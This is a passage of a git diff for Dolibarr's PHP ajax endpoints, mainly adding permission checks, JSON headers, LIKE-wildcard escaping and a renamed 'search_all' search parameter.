$usesublevelpermission, 'fk_soc', 'rowid', 0, 1); // Call with mode return +if (!$result) { + httponly_accessforbidden('Not allowed by restrictArea'); +} + +if (!getDolGlobalString('MAIN_USE_JQUERY_JEDITABLE')) { + httponly_accessforbidden('Can be used only when option MAIN_USE_JQUERY_JEDITABLE is set'); +} + /* * View diff --git a/htdocs/core/ajax/security.php b/htdocs/core/ajax/security.php index e5dc91c05d1..8602190db73 100644 --- a/htdocs/core/ajax/security.php +++ b/htdocs/core/ajax/security.php @@ -17,8 +17,8 @@ /** * \file htdocs/core/ajax/security.php - * \brief This ajax component is used to generated hash keys for security purposes - * like key to use into URL to protect them. + * \brief This ajax component is used to generated hash keys for security purposes, + * like the key to use into URL to protect them. */ if (!defined('NOTOKENRENEWAL')) { @@ -36,15 +36,19 @@ if (!defined('NOREQUIREAJAX')) { if (!defined('NOREQUIRESOC')) { define('NOREQUIRESOC', '1'); } -if (!defined('NOREQUIRETRAN')) { +// We need langs because the getRandomPassword may use the user language to define some rules of pass generation +/*if (!defined('NOREQUIRETRAN')) { define('NOREQUIRETRAN', '1'); -} +}*/ // Load Dolibarr environment require '../../main.inc.php'; $action = GETPOST('action'); +// Security check +// None. This is public component with no effect on data. + /* * View @@ -55,9 +59,9 @@ top_httphead(); //print ''."\n"; -// Registering the location of boxes +// Return a new generated password if ($action) { - if ($action == 'getrandompassword' && ($user->admin || $user->rights->api->apikey->generate)) { + if ($action == 'getrandompassword') { require_once DOL_DOCUMENT_ROOT.'/core/lib/security2.lib.php'; $generic = GETPOST('generic') ? true : false; echo getRandomPassword($generic); diff --git a/htdocs/core/ajax/selectobject.php b/htdocs/core/ajax/selectobject.php index 31bc791dc10..14372a405b4 100644 --- a/htdocs/core/ajax/selectobject.php +++ b/htdocs/core/ajax/selectobject.php @@ -38,32 +38,18 @@ if (!defined('NOREQUIRESOC')) { // Load Dolibarr environment require '../../main.inc.php'; +require_once DOL_DOCUMENT_ROOT.'/core/class/html.form.class.php'; $objectdesc = GETPOST('objectdesc', 'alpha'); $htmlname = GETPOST('htmlname', 'aZ09'); $outjson = (GETPOST('outjson', 'int') ? GETPOST('outjson', 'int') : 0); $id = GETPOST('id', 'int'); - - -/* - * View - */ - -//print ''."\n"; -//print_r($_GET); - -require_once DOL_DOCUMENT_ROOT.'/core/class/html.form.class.php'; -$form = new Form($db); - -//$langs->load("companies"); - -top_httphead(); +$filter = GETPOST('filter', 'alphanohtml'); // Universal Syntax filter if (empty($htmlname)) { - return; + httponly_accessforbidden('Bad value for param htmlname'); } - $InfoFieldList = explode(":", $objectdesc); $classname = $InfoFieldList[0]; $classpath = $InfoFieldList[1]; @@ -74,17 +60,42 @@ if (!empty($classpath)) { } } if (!is_object($objecttmp)) { - dol_syslog('Error bad param objectdesc', LOG_WARNING); - print 'Error bad param objectdesc'; + httponly_accessforbidden('Bad value for param objectdesc'); } +/* +// Load object according to $id and $element +$object = fetchObjectByElement($id, $element); + +$module = $object->module; +$element = $object->element; +$usesublevelpermission = ($module != $element ? $element : ''); +if ($usesublevelpermission && !isset($user->rights->$module->$element)) { // There is no permission on object defined, we will check permission on module directly + $usesublevelpermission = ''; +} +*/ + // When used from jQuery, the search term is added as GET param "term". $searchkey = (($id && GETPOST($id, 'alpha')) ? GETPOST($id, 'alpha') : (($htmlname && GETPOST($htmlname, 'alpha')) ? GETPOST($htmlname, 'alpha') : '')); // Add a security test to avoid to get content of all tables restrictedArea($user, $objecttmp->element, $id); -$arrayresult = $form->selectForFormsList($objecttmp, $htmlname, '', 0, $searchkey, '', '', '', 0, 1); + +/* + * View + */ + +//print ''."\n"; +//print_r($_GET); + +//$langs->load("companies"); + +$form = new Form($db); + +top_httphead($outjson ? 'application/json' : 'text/html'); + +$arrayresult = $form->selectForFormsList($objecttmp, $htmlname, '', 0, $searchkey, '', '', '', 0, 1, 0, '', $filter); $db->close(); diff --git a/htdocs/core/ajax/selectsearchbox.php b/htdocs/core/ajax/selectsearchbox.php index f2e44577260..615872eb101 100644 --- a/htdocs/core/ajax/selectsearchbox.php +++ b/htdocs/core/ajax/selectsearchbox.php @@ -1,5 +1,5 @@ +/* Copyright (C) 2015-2023 Laurent Destailleur * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by @@ -18,7 +18,7 @@ /** * \file htdocs/core/ajax/selectsearchbox.php * \ingroup core - * \brief This script returns content of possible search + * \brief This script returns json array of possible searches or just set the array if called by an include */ // This script is called with a POST method or as an include. @@ -43,6 +43,9 @@ if (!isset($usedbyinclude) || empty($usedbyinclude)) { $res = @include '../../main.inc.php'; + // Security check + // None. Beeing connected is enough. + top_httphead('application/json'); if ($res == 'ERROR_NOT_LOGGED') { @@ -58,7 +61,6 @@ if (!isset($usedbyinclude) || empty($usedbyinclude)) { include_once DOL_DOCUMENT_ROOT.'/core/lib/json.lib.php'; -//global $hookmanager; $hookmanager->initHooks(array('searchform')); $search_boxvalue = GETPOST('q', 'restricthtml'); @@ -68,22 +70,22 @@ $arrayresult = array(); // Define $searchform if (isModEnabled('adherent') && empty($conf->global->MAIN_SEARCHFORM_ADHERENT_DISABLED) && $user->hasRight('adherent', 'lire')) { - $arrayresult['searchintomember'] = array('position'=>8, 'shortcut'=>'M', 'img'=>'object_member', 'label'=>$langs->trans("SearchIntoMembers", $search_boxvalue), 'text'=>img_picto('', 'object_member', 'class="pictofixedwidth"').' '.$langs->trans("SearchIntoMembers", $search_boxvalue), 'url'=>DOL_URL_ROOT.'/adherents/list.php'.($search_boxvalue ? '?sall='.urlencode($search_boxvalue) : '')); + $arrayresult['searchintomember'] = array('position'=>8, 'shortcut'=>'M', 'img'=>'object_member', 'label'=>$langs->trans("SearchIntoMembers", $search_boxvalue), 'text'=>img_picto('', 'object_member', 'class="pictofixedwidth"').' '.$langs->trans("SearchIntoMembers", $search_boxvalue), 'url'=>DOL_URL_ROOT.'/adherents/list.php'.($search_boxvalue ? '?search_all='.urlencode($search_boxvalue) : '')); } if (((isModEnabled('societe') && (empty($conf->global->SOCIETE_DISABLE_PROSPECTS) || empty($conf->global->SOCIETE_DISABLE_CUSTOMERS))) || ((isModEnabled('fournisseur') && empty($conf->global->MAIN_USE_NEW_SUPPLIERMOD)) || isModEnabled('supplier_order') || isModEnabled('supplier_invoice'))) && empty($conf->global->MAIN_SEARCHFORM_SOCIETE_DISABLED) && $user->hasRight('societe', 'lire')) { - $arrayresult['searchintothirdparty'] = array('position'=>10, 'shortcut'=>'T', 'img'=>'object_company', 'label'=>$langs->trans("SearchIntoThirdparties", $search_boxvalue), 'text'=>img_picto('', 'object_company', 'class="pictofixedwidth"').' '.$langs->trans("SearchIntoThirdparties", $search_boxvalue), 'url'=>DOL_URL_ROOT.'/societe/list.php'.($search_boxvalue ? '?sall='.urlencode($search_boxvalue) : '')); + $arrayresult['searchintothirdparty'] = array('position'=>10, 'shortcut'=>'T', 'img'=>'object_company', 'label'=>$langs->trans("SearchIntoThirdparties", $search_boxvalue), 'text'=>img_picto('', 'object_company', 'class="pictofixedwidth"').' '.$langs->trans("SearchIntoThirdparties", $search_boxvalue), 'url'=>DOL_URL_ROOT.'/societe/list.php'.($search_boxvalue ? '?search_all='.urlencode($search_boxvalue) : '')); } if (isModEnabled('societe') && empty($conf->global->MAIN_SEARCHFORM_CONTACT_DISABLED) && $user->hasRight('societe', 'lire')) { - $arrayresult['searchintocontact'] = array('position'=>15, 'shortcut'=>'A', 'img'=>'object_contact', 'label'=>$langs->trans("SearchIntoContacts", $search_boxvalue), 'text'=>img_picto('', 'object_contact', 'class="pictofixedwidth"').' '.$langs->trans("SearchIntoContacts", $search_boxvalue), 'url'=>DOL_URL_ROOT.'/contact/list.php'.($search_boxvalue ? '?sall='.urlencode($search_boxvalue) : '')); + $arrayresult['searchintocontact'] = array('position'=>15, 'shortcut'=>'A', 'img'=>'object_contact', 'label'=>$langs->trans("SearchIntoContacts", $search_boxvalue), 'text'=>img_picto('', 'object_contact', 'class="pictofixedwidth"').' '.$langs->trans("SearchIntoContacts", $search_boxvalue), 'url'=>DOL_URL_ROOT.'/contact/list.php'.($search_boxvalue ? '?search_all='.urlencode($search_boxvalue) : '')); } if (((isModEnabled('product') && $user->hasRight('product', 'read')) || (isModEnabled('service') && $user->hasRight('service', 'read'))) && empty($conf->global->MAIN_SEARCHFORM_PRODUITSERVICE_DISABLED)) { - $arrayresult['searchintoproduct'] = array('position'=>30, 'shortcut'=>'P', 'img'=>'object_product', 'label'=>$langs->trans("SearchIntoProductsOrServices", $search_boxvalue), 'text'=>img_picto('', 'object_product', 'class="pictofixedwidth"').' '.$langs->trans("SearchIntoProductsOrServices", $search_boxvalue), 'url'=>DOL_URL_ROOT.'/product/list.php'.($search_boxvalue ? '?sall='.urlencode($search_boxvalue) : '')); + $arrayresult['searchintoproduct'] = array('position'=>30, 'shortcut'=>'P', 'img'=>'object_product', 'label'=>$langs->trans("SearchIntoProductsOrServices", $search_boxvalue), 'text'=>img_picto('', 'object_product', 'class="pictofixedwidth"').' '.$langs->trans("SearchIntoProductsOrServices", $search_boxvalue), 'url'=>DOL_URL_ROOT.'/product/list.php'.($search_boxvalue ? '?search_all='.urlencode($search_boxvalue) : '')); // search on lot/serial numbers if (isModEnabled('productbatch')) { - $arrayresult['searchintobatch'] = array('position'=>32, 'shortcut'=>'B', 'img'=>'object_lot', 'label'=>$langs->trans("SearchIntoBatch", $search_boxvalue), 'text'=>img_picto('', 'object_lot', 'class="pictofixedwidth"').' '.$langs->trans("SearchIntoBatch", $search_boxvalue), 'url'=>DOL_URL_ROOT.'/product/stock/productlot_list.php'.($search_boxvalue ? '?sall='.urlencode($search_boxvalue) : '')); + $arrayresult['searchintobatch'] = array('position'=>32, 'shortcut'=>'B', 'img'=>'object_lot', 'label'=>$langs->trans("SearchIntoBatch", $search_boxvalue), 'text'=>img_picto('', 'object_lot', 'class="pictofixedwidth"').' '.$langs->trans("SearchIntoBatch", $search_boxvalue), 'url'=>DOL_URL_ROOT.'/product/stock/productlot_list.php'.($search_boxvalue ? '?search_all='.urlencode($search_boxvalue) : '')); } } @@ -98,26 +100,26 @@ if (isModEnabled('project') && empty($conf->global->MAIN_SEARCHFORM_TASK_DISABLE } if (isModEnabled('propal') && empty($conf->global->MAIN_SEARCHFORM_CUSTOMER_PROPAL_DISABLED) && $user->hasRight('propal', 'lire')) { - $arrayresult['searchintopropal'] = array('position'=>60, 'img'=>'object_propal', 'label'=>$langs->trans("SearchIntoCustomerProposals", $search_boxvalue), 'text'=>img_picto('', 'object_propal', 'class="pictofixedwidth"').' '.$langs->trans("SearchIntoCustomerProposals", $search_boxvalue), 'url'=>DOL_URL_ROOT.'/comm/propal/list.php'.($search_boxvalue ? '?sall='.urlencode($search_boxvalue) : '')); + $arrayresult['searchintopropal'] = array('position'=>60, 'img'=>'object_propal', 'label'=>$langs->trans("SearchIntoCustomerProposals", $search_boxvalue), 'text'=>img_picto('', 'object_propal', 'class="pictofixedwidth"').' '.$langs->trans("SearchIntoCustomerProposals", $search_boxvalue), 'url'=>DOL_URL_ROOT.'/comm/propal/list.php'.($search_boxvalue ? '?search_all='.urlencode($search_boxvalue) : '')); } if (isModEnabled('commande') && empty($conf->global->MAIN_SEARCHFORM_CUSTOMER_ORDER_DISABLED) && $user->hasRight('commande', 'lire')) { - $arrayresult['searchintoorder'] = array('position'=>70, 'img'=>'object_order', 'label'=>$langs->trans("SearchIntoCustomerOrders", $search_boxvalue), 'text'=>img_picto('', 'object_order', 'class="pictofixedwidth"').' '.$langs->trans("SearchIntoCustomerOrders", $search_boxvalue), 'url'=>DOL_URL_ROOT.'/commande/list.php'.($search_boxvalue ? '?sall='.urlencode($search_boxvalue) : '')); + $arrayresult['searchintoorder'] = array('position'=>70, 'img'=>'object_order', 'label'=>$langs->trans("SearchIntoCustomerOrders", $search_boxvalue), 'text'=>img_picto('', 'object_order', 'class="pictofixedwidth"').' '.$langs->trans("SearchIntoCustomerOrders", $search_boxvalue), 'url'=>DOL_URL_ROOT.'/commande/list.php'.($search_boxvalue ? '?search_all='.urlencode($search_boxvalue) : '')); } if (isModEnabled('expedition') && empty($conf->global->MAIN_SEARCHFORM_CUSTOMER_SHIPMENT_DISABLED) && $user->hasRight('expedition', 'lire')) { - $arrayresult['searchintoshipment'] = array('position'=>80, 'img'=>'object_shipment', 'label'=>$langs->trans("SearchIntoCustomerShipments", $search_boxvalue), 'text'=>img_picto('', 'object_shipment', 'class="pictofixedwidth"').' '.$langs->trans("SearchIntoCustomerShipments", $search_boxvalue), 'url'=>DOL_URL_ROOT.'/expedition/list.php'.($search_boxvalue ? '?sall='.urlencode($search_boxvalue) : '')); + $arrayresult['searchintoshipment'] = array('position'=>80, 'img'=>'object_shipment', 'label'=>$langs->trans("SearchIntoCustomerShipments", $search_boxvalue), 'text'=>img_picto('', 'object_shipment', 'class="pictofixedwidth"').' '.$langs->trans("SearchIntoCustomerShipments", $search_boxvalue), 'url'=>DOL_URL_ROOT.'/expedition/list.php'.($search_boxvalue ? '?search_all='.urlencode($search_boxvalue) : '')); } if (isModEnabled('facture') && empty($conf->global->MAIN_SEARCHFORM_CUSTOMER_INVOICE_DISABLED) && $user->hasRight('facture', 'lire')) { - $arrayresult['searchintoinvoice'] = array('position'=>90, 'img'=>'object_bill', 'label'=>$langs->trans("SearchIntoCustomerInvoices", $search_boxvalue), 'text'=>img_picto('', 'object_bill', 'class="pictofixedwidth"').' '.$langs->trans("SearchIntoCustomerInvoices", $search_boxvalue), 'url'=>DOL_URL_ROOT.'/compta/facture/list.php'.($search_boxvalue ? '?sall='.urlencode($search_boxvalue) : '')); + $arrayresult['searchintoinvoice'] = array('position'=>90, 'img'=>'object_bill', 'label'=>$langs->trans("SearchIntoCustomerInvoices", $search_boxvalue), 'text'=>img_picto('', 'object_bill', 'class="pictofixedwidth"').' '.$langs->trans("SearchIntoCustomerInvoices", $search_boxvalue), 'url'=>DOL_URL_ROOT.'/compta/facture/list.php'.($search_boxvalue ? '?search_all='.urlencode($search_boxvalue) : '')); } if (isModEnabled('supplier_proposal') && empty($conf->global->MAIN_SEARCHFORM_SUPPLIER_PROPAL_DISABLED) && $user->hasRight('supplier_proposal', 'lire')) { - $arrayresult['searchintosupplierpropal'] = array('position'=>100, 'img'=>'object_supplier_proposal', 'label'=>$langs->trans("SearchIntoSupplierProposals", $search_boxvalue), 'text'=>img_picto('', 'object_supplier_proposal', 'class="pictofixedwidth"').' '.$langs->trans("SearchIntoSupplierProposals", $search_boxvalue), 'url'=>DOL_URL_ROOT.'/supplier_proposal/list.php'.($search_boxvalue ? '?sall='.urlencode($search_boxvalue) : '')); + $arrayresult['searchintosupplierpropal'] = array('position'=>100, 'img'=>'object_supplier_proposal', 'label'=>$langs->trans("SearchIntoSupplierProposals", $search_boxvalue), 'text'=>img_picto('', 'object_supplier_proposal', 'class="pictofixedwidth"').' '.$langs->trans("SearchIntoSupplierProposals", $search_boxvalue), 'url'=>DOL_URL_ROOT.'/supplier_proposal/list.php'.($search_boxvalue ? '?search_all='.urlencode($search_boxvalue) : '')); } if (((isModEnabled('fournisseur') && empty($conf->global->MAIN_USE_NEW_SUPPLIERMOD) && $user->hasRight('fournisseur', 'commande', 'lire')) || (isModEnabled('supplier_order') && $user->hasRight('supplier_order', 'lire'))) && empty($conf->global->MAIN_SEARCHFORM_SUPPLIER_ORDER_DISABLED)) { $arrayresult['searchintosupplierorder'] = array('position'=>110, 'img'=>'object_supplier_order', 'label'=>$langs->trans("SearchIntoSupplierOrders", $search_boxvalue), 'text'=>img_picto('', 'object_supplier_order', 'class="pictofixedwidth"').' '.$langs->trans("SearchIntoSupplierOrders", $search_boxvalue), 'url'=>DOL_URL_ROOT.'/fourn/commande/list.php'.($search_boxvalue ? '?search_all='.urlencode($search_boxvalue) : '')); } if (((isModEnabled('fournisseur') && empty($conf->global->MAIN_USE_NEW_SUPPLIERMOD) && $user->hasRight('fournisseur', 'facture', 'lire')) || (isModEnabled('supplier_invoice') && $user->hasRight('supplier_invoice', 'lire'))) && empty($conf->global->MAIN_SEARCHFORM_SUPPLIER_INVOICE_DISABLED)) { - $arrayresult['searchintosupplierinvoice'] = array('position'=>120, 'img'=>'object_supplier_invoice', 'label'=>$langs->trans("SearchIntoSupplierInvoices", $search_boxvalue), 'text'=>img_picto('', 'object_supplier_invoice', 'class="pictofixedwidth"').' '.$langs->trans("SearchIntoSupplierInvoices", $search_boxvalue), 'url'=>DOL_URL_ROOT.'/fourn/facture/list.php'.($search_boxvalue ? '?sall='.urlencode($search_boxvalue) : '')); + $arrayresult['searchintosupplierinvoice'] = array('position'=>120, 'img'=>'object_supplier_invoice', 'label'=>$langs->trans("SearchIntoSupplierInvoices", $search_boxvalue), 'text'=>img_picto('', 'object_supplier_invoice', 'class="pictofixedwidth"').' '.$langs->trans("SearchIntoSupplierInvoices", $search_boxvalue), 'url'=>DOL_URL_ROOT.'/fourn/facture/list.php'.($search_boxvalue ? '?search_all='.urlencode($search_boxvalue) : '')); } // Customer payments @@ -127,7 +129,7 @@ if (isModEnabled('facture') && empty($conf->global->MAIN_SEARCHFORM_CUSTOMER_INV 'img'=>'object_payment', 'label'=>$langs->trans("SearchIntoCustomerPayments", $search_boxvalue), 'text'=>img_picto('', 'object_payment', 'class="pictofixedwidth"').' '.$langs->trans("SearchIntoCustomerPayments", $search_boxvalue), - 'url'=>DOL_URL_ROOT.'/compta/paiement/list.php?leftmenu=customers_bills_payment'.($search_boxvalue ? '&sall='.urlencode($search_boxvalue) : '')); + 'url'=>DOL_URL_ROOT.'/compta/paiement/list.php?leftmenu=customers_bills_payment'.($search_boxvalue ? '&search_all='.urlencode($search_boxvalue) : '')); } // Vendor payments @@ -137,7 +139,7 @@ if (((isModEnabled('fournisseur') && empty($conf->global->MAIN_USE_NEW_SUPPLIERM 'img'=>'object_payment', 'label'=>$langs->trans("SearchIntoVendorPayments", $search_boxvalue), 'text'=>img_picto('', 'object_payment', 'class="pictofixedwidth"').' '.$langs->trans("SearchIntoVendorPayments", $search_boxvalue), - 'url'=>DOL_URL_ROOT.'/fourn/paiement/list.php?leftmenu=suppliers_bills_payment'.($search_boxvalue ? '&sall='.urlencode($search_boxvalue) : '')); + 'url'=>DOL_URL_ROOT.'/fourn/paiement/list.php?leftmenu=suppliers_bills_payment'.($search_boxvalue ? '&search_all='.urlencode($search_boxvalue) : '')); } // Miscellaneous payments @@ -147,28 +149,31 @@ if (isModEnabled('banque') && empty($conf->global->MAIN_SEARCHFORM_MISC_PAYMENTS 'img'=>'object_payment', 'label'=>$langs->trans("SearchIntoMiscPayments", $search_boxvalue), 'text'=>img_picto('', 'object_payment', 'class="pictofixedwidth"').' '.$langs->trans("SearchIntoMiscPayments", $search_boxvalue), - 'url'=>DOL_URL_ROOT.'/compta/bank/various_payment/list.php?leftmenu=tax_various'.($search_boxvalue ? '&sall='.urlencode($search_boxvalue) : '')); + 'url'=>DOL_URL_ROOT.'/compta/bank/various_payment/list.php?leftmenu=tax_various'.($search_boxvalue ? '&search_all='.urlencode($search_boxvalue) : '')); } if (isModEnabled('contrat') && empty($conf->global->MAIN_SEARCHFORM_CONTRACT_DISABLED) && $user->hasRight('contrat', 'lire')) { - $arrayresult['searchintocontract'] = array('position'=>130, 'img'=>'object_contract', 'label'=>$langs->trans("SearchIntoContracts", $search_boxvalue), 'text'=>img_picto('', 'object_contract', 'class="pictofixedwidth"').' '.$langs->trans("SearchIntoContracts", $search_boxvalue), 'url'=>DOL_URL_ROOT.'/contrat/list.php'.($search_boxvalue ? '?sall='.urlencode($search_boxvalue) : '')); + $arrayresult['searchintocontract'] = array('position'=>130, 'img'=>'object_contract', 'label'=>$langs->trans("SearchIntoContracts", $search_boxvalue), 'text'=>img_picto('', 'object_contract', 'class="pictofixedwidth"').' '.$langs->trans("SearchIntoContracts", $search_boxvalue), 'url'=>DOL_URL_ROOT.'/contrat/list.php'.($search_boxvalue ? '?search_all='.urlencode($search_boxvalue) : '')); } if (isModEnabled('ficheinter') && empty($conf->global->MAIN_SEARCHFORM_FICHINTER_DISABLED) && $user->hasRight('ficheinter', 'lire')) { - $arrayresult['searchintointervention'] = array('position'=>140, 'img'=>'object_intervention', 'label'=>$langs->trans("SearchIntoInterventions", $search_boxvalue), 'text'=>img_picto('', 'object_intervention', 'class="pictofixedwidth"').' '.$langs->trans("SearchIntoInterventions", $search_boxvalue), 'url'=>DOL_URL_ROOT.'/fichinter/list.php'.($search_boxvalue ? '?sall='.urlencode($search_boxvalue) : '')); + $arrayresult['searchintointervention'] = array('position'=>140, 'img'=>'object_intervention', 'label'=>$langs->trans("SearchIntoInterventions", $search_boxvalue), 'text'=>img_picto('', 'object_intervention', 'class="pictofixedwidth"').' '.$langs->trans("SearchIntoInterventions", $search_boxvalue), 'url'=>DOL_URL_ROOT.'/fichinter/list.php'.($search_boxvalue ? '?search_all='.urlencode($search_boxvalue) : '')); +} +if (isModEnabled('knowledgemanagement') && empty($conf->global->MAIN_SEARCHFORM_KNOWLEDGEMANAGEMENT_DISABLED) && $user->hasRight('knowledgemanagement', 'knowledgerecord', 'read')) { + $arrayresult['searchintoknowledgemanagement'] = array('position'=>145, 'img'=>'object_knowledgemanagement', 'label'=>$langs->trans("SearchIntoKM", $search_boxvalue), 'text'=>img_picto('', 'object_knowledgemanagement', 'class="pictofixedwidth"').' '.$langs->trans("SearchIntoKM", $search_boxvalue), 'url'=>DOL_URL_ROOT.'/knowledgemanagement/knowledgerecord_list.php?mainmenu=ticket'.($search_boxvalue ? '&search_all='.urlencode($search_boxvalue) : '')); } if (isModEnabled('ticket') && empty($conf->global->MAIN_SEARCHFORM_TICKET_DISABLED) && $user->hasRight('ticket', 'read')) { - $arrayresult['searchintotickets'] = array('position'=>145, 'img'=>'object_ticket', 'label'=>$langs->trans("SearchIntoTickets", $search_boxvalue), 'text'=>img_picto('', 'object_ticket', 'class="pictofixedwidth"').' '.$langs->trans("SearchIntoTickets", $search_boxvalue), 'url'=>DOL_URL_ROOT.'/ticket/list.php?mainmenu=ticket'.($search_boxvalue ? '&sall='.urlencode($search_boxvalue) : '')); + $arrayresult['searchintotickets'] = array('position'=>146, 'img'=>'object_ticket', 'label'=>$langs->trans("SearchIntoTickets", $search_boxvalue), 'text'=>img_picto('', 'object_ticket', 'class="pictofixedwidth"').' '.$langs->trans("SearchIntoTickets", $search_boxvalue), 'url'=>DOL_URL_ROOT.'/ticket/list.php?mainmenu=ticket'.($search_boxvalue ? '&search_all='.urlencode($search_boxvalue) : '')); } // HR if (isModEnabled('user') && empty($conf->global->MAIN_SEARCHFORM_USER_DISABLED) && $user->hasRight('user', 'user', 'lire')) { - $arrayresult['searchintouser'] = array('position'=>200, 'shortcut'=>'U', 'img'=>'object_user', 'label'=>$langs->trans("SearchIntoUsers", $search_boxvalue), 'text'=>img_picto('', 'object_user', 'class="pictofixedwidth"').' '.$langs->trans("SearchIntoUsers", $search_boxvalue), 'url'=>DOL_URL_ROOT.'/user/list.php'.($search_boxvalue ? '?sall='.urlencode($search_boxvalue) : '')); + $arrayresult['searchintouser'] = array('position'=>200, 'shortcut'=>'U', 'img'=>'object_user', 'label'=>$langs->trans("SearchIntoUsers", $search_boxvalue), 'text'=>img_picto('', 'object_user', 'class="pictofixedwidth"').' '.$langs->trans("SearchIntoUsers", $search_boxvalue), 'url'=>DOL_URL_ROOT.'/user/list.php'.($search_boxvalue ? '?search_all='.urlencode($search_boxvalue) : '')); } if (isModEnabled('expensereport') && empty($conf->global->MAIN_SEARCHFORM_EXPENSEREPORT_DISABLED) && $user->hasRight('expensereport', 'lire')) { - $arrayresult['searchintoexpensereport'] = array('position'=>210, 'img'=>'object_trip', 'label'=>$langs->trans("SearchIntoExpenseReports", $search_boxvalue), 'text'=>img_picto('', 'object_trip', 'class="pictofixedwidth"').' '.$langs->trans("SearchIntoExpenseReports", $search_boxvalue), 'url'=>DOL_URL_ROOT.'/expensereport/list.php?mainmenu=hrm'.($search_boxvalue ? '&sall='.urlencode($search_boxvalue) : '')); + $arrayresult['searchintoexpensereport'] = array('position'=>210, 'img'=>'object_trip', 'label'=>$langs->trans("SearchIntoExpenseReports", $search_boxvalue), 'text'=>img_picto('', 'object_trip', 'class="pictofixedwidth"').' '.$langs->trans("SearchIntoExpenseReports", $search_boxvalue), 'url'=>DOL_URL_ROOT.'/expensereport/list.php?mainmenu=hrm'.($search_boxvalue ? '&search_all='.urlencode($search_boxvalue) : '')); } if (isModEnabled('holiday') && empty($conf->global->MAIN_SEARCHFORM_HOLIDAY_DISABLED) && $user->hasRight('holiday', 'read')) { - $arrayresult['searchintoleaves'] = array('position'=>220, 'img'=>'object_holiday', 'label'=>$langs->trans("SearchIntoLeaves", $search_boxvalue), 'text'=>img_picto('', 'object_holiday', 'class="pictofixedwidth"').' '.$langs->trans("SearchIntoLeaves", $search_boxvalue), 'url'=>DOL_URL_ROOT.'/holiday/list.php?mainmenu=hrm'.($search_boxvalue ? '&sall='.urlencode($search_boxvalue) : '')); + $arrayresult['searchintoleaves'] = array('position'=>220, 'img'=>'object_holiday', 'label'=>$langs->trans("SearchIntoLeaves", $search_boxvalue), 'text'=>img_picto('', 'object_holiday', 'class="pictofixedwidth"').' '.$langs->trans("SearchIntoLeaves", $search_boxvalue), 'url'=>DOL_URL_ROOT.'/holiday/list.php?mainmenu=hrm'.($search_boxvalue ? '&search_all='.urlencode($search_boxvalue) : '')); } // Execute hook addSearchEntry diff --git a/htdocs/core/ajax/vatrates.php b/htdocs/core/ajax/vatrates.php index 56cb4c788e3..1b4a0c79c80 100644 --- a/htdocs/core/ajax/vatrates.php +++ b/htdocs/core/ajax/vatrates.php @@ -17,7 +17,7 @@ /** * \file htdocs/core/ajax/vatrates.php - * \brief File to load vat rates combobox + * \brief File to load vat rates combobox according to thirdparty ID. Values are returned in JSON format. */ if (!defined('NOTOKENRENEWAL')) { @@ -34,16 +34,20 @@ if (!defined('NOREQUIREAJAX')) { require '../../main.inc.php'; $id = GETPOST('id', 'int'); -$action = GETPOST('action', 'aZ09'); +$action = GETPOST('action', 'aZ09'); // 'getSellerVATRates' or 'getBuyerVATRates' $htmlname = GETPOST('htmlname', 'alpha'); $selected = (GETPOST('selected') ?GETPOST('selected') : '-1'); $productid = (GETPOST('productid', 'int') ?GETPOST('productid', 'int') : 0); +// Security check +$result = restrictedArea($user, 'societe', $id, '&societe', '', 'fk_soc', 'rowid', 0); + + /* * View */ -top_httphead(); +top_httphead('application/json'); //print ''."\n"; @@ -63,7 +67,6 @@ if (!empty($id) && !empty($action) && !empty($htmlname)) { } $return = array(); - $return['value'] = $form->load_tva('tva_tx', $selected, $seller, $buyer, $productid, 0, '', true); $return['num'] = $form->num; $return['error'] = $form->error; diff --git a/htdocs/core/ajax/ziptown.php b/htdocs/core/ajax/ziptown.php index f6869e9ffcf..92db98c250d 100644 --- a/htdocs/core/ajax/ziptown.php +++ b/htdocs/core/ajax/ziptown.php @@ -42,6 +42,11 @@ if (!defined('NOREQUIRESOC')) { require '../../main.inc.php'; require_once DOL_DOCUMENT_ROOT.'/core/class/html.formcompany.class.php'; +// Security check +if (!getDolGlobalString('MAIN_USE_ZIPTOWN_DICTIONNARY')) { + // If MAIN_USE_ZIPTOWN_DICTIONNARY is set, we make a search into a public page. If not we search into societe so we must check we have read permission. + $result = restrictedArea($user, 'societe', 0, '&societe', '', 'fk_soc', 'rowid', 0); +} /* @@ -53,11 +58,11 @@ require_once DOL_DOCUMENT_ROOT.'/core/class/html.formcompany.class.php'; //header('Pragma: public'); //top_htmlhead("", "", 1); // Replaced with top_httphead. An ajax page does not need html header. -top_httphead(); +top_httphead('application/json'); //print ''."\n"; -dol_syslog('ziptown call with MAIN_USE_ZIPTOWN_DICTIONNARY='.(empty($conf->global->MAIN_USE_ZIPTOWN_DICTIONNARY) ? '' : $conf->global->MAIN_USE_ZIPTOWN_DICTIONNARY)); +dol_syslog('ziptown call with MAIN_USE_ZIPTOWN_DICTIONNARY='.getDolGlobalString('MAIN_USE_ZIPTOWN_DICTIONNARY')); //var_dump($_GET); // Generation of list of zip-town @@ -69,7 +74,7 @@ if (GETPOST('zipcode') || GETPOST('town')) { $zipcode = GETPOST('zipcode'); $town = GETPOST('town'); - if (!empty($conf->global->MAIN_USE_ZIPTOWN_DICTIONNARY)) { // Use zip-town table + if (getDolGlobalString('MAIN_USE_ZIPTOWN_DICTIONNARY')) { // Use zip-town table $sql = "SELECT z.rowid, z.zip, z.town, z.fk_county, z.fk_pays as fk_country"; $sql .= ", c.rowid as fk_country, c.code as country_code, c.label as country"; $sql .= ", d.rowid as fk_county, d.code_departement as county_code, d.nom as county"; @@ -80,15 +85,14 @@ if (GETPOST('zipcode') || GETPOST('town')) { $sql .= " WHERE z.fk_pays = c.rowid"; $sql .= " AND z.active = 1 AND c.active = 1"; if ($zipcode) { - $sql .= " AND z.zip LIKE '".$db->escape($zipcode)."%'"; + $sql .= " AND z.zip LIKE '".$db->escape($db->escapeforlike($zipcode))."%'"; } if ($town) { - $sql .= " AND z.town LIKE '%".$db->escape($town)."%'"; + $sql .= " AND z.town LIKE '%".$db->escape($db->escapeforlike($town))."%'"; } $sql .= " ORDER BY z.zip, z.town"; $sql .= $db->plimit(100); // Avoid pb with bad criteria - } else // Use table of third parties - { + } else { // Use table of third parties $sql = "SELECT DISTINCT s.zip, s.town, s.fk_departement as fk_county, s.fk_pays as fk_country"; $sql .= ", c.code as country_code, c.label as country"; $sql .= ", d.code_departement as county_code , d.nom as county"; @@ -97,10 +101,10 @@ if (GETPOST('zipcode') || GETPOST('town')) { $sql .= " LEFT JOIN ".MAIN_DB_PREFIX.'c_country as c ON s.fk_pays = c.rowid'; $sql .= " WHERE"; if ($zipcode) { - 